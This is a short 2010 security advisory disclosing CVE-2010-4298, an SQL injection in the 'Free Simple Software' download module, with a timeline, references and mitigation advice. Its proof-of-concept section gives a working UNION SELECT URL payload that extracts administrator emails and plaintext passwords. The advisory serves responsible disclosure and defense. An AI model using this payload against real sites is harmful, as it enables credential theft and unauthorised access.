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'Free Simple Software' SQL Injection Vulnerability (CVE-2010-4298)
From: Mark Stanislav <mark.stanislav () gmail com>
Date: Sun, 21 Nov 2010 14:56:49 -0500

'Free Simple Software' SQL Injection Vulnerability (CVE-2010-4298)
Mark Stanislav - mark.stanislav () gmail com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in the 'Free Simple Software' download module which allows for a 'UNION SELECT' to easily expose 
the application administrator's plaintext password.

 
II. TESTED VERSION
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1.0 [Manual Install Version]


III. PoC EXPLOIT
---------------------------------------
http://site.com/index.php?page=downloads&request=download_now&downloads_id=&apos; UNION SELECT email_address as name, NULL, 
NULL, password as file_name, last_name as file_url from admin_users where id!='NULL


IV. NOTES 
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* User passwords for this web application are not encrypted or hashed which makes this exploit even more concerning.
* The PoC assumes that the first user is the administrative user which is the default behavior for the application.
* At least 1 download must already exist to enable this exploit.
* Due to a previous vulnerability not being fixed 3-months after disclosure (CVE-2010-3307), it's assumable that this 
application is not being actively developed.


V. SOLUTION
---------------------------------------
Do not utilize the download module. No patch/upgrade is available at this time.


VI. REFERENCES
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http://www.freesimplesoft.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4298
https://www.uncompiled.com/2010/11/free-simple-software-sql-injection-vulnerability-cve-2010-4298/


VII. TIMELINE
---------------------------------------
11/12/2010: Initial disclosure e-mail to the vendor
11/21/2010: Public disclosure

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  • 'Free Simple Software' SQL Injection Vulnerability (CVE-2010-4298) Mark Stanislav (Nov 22)
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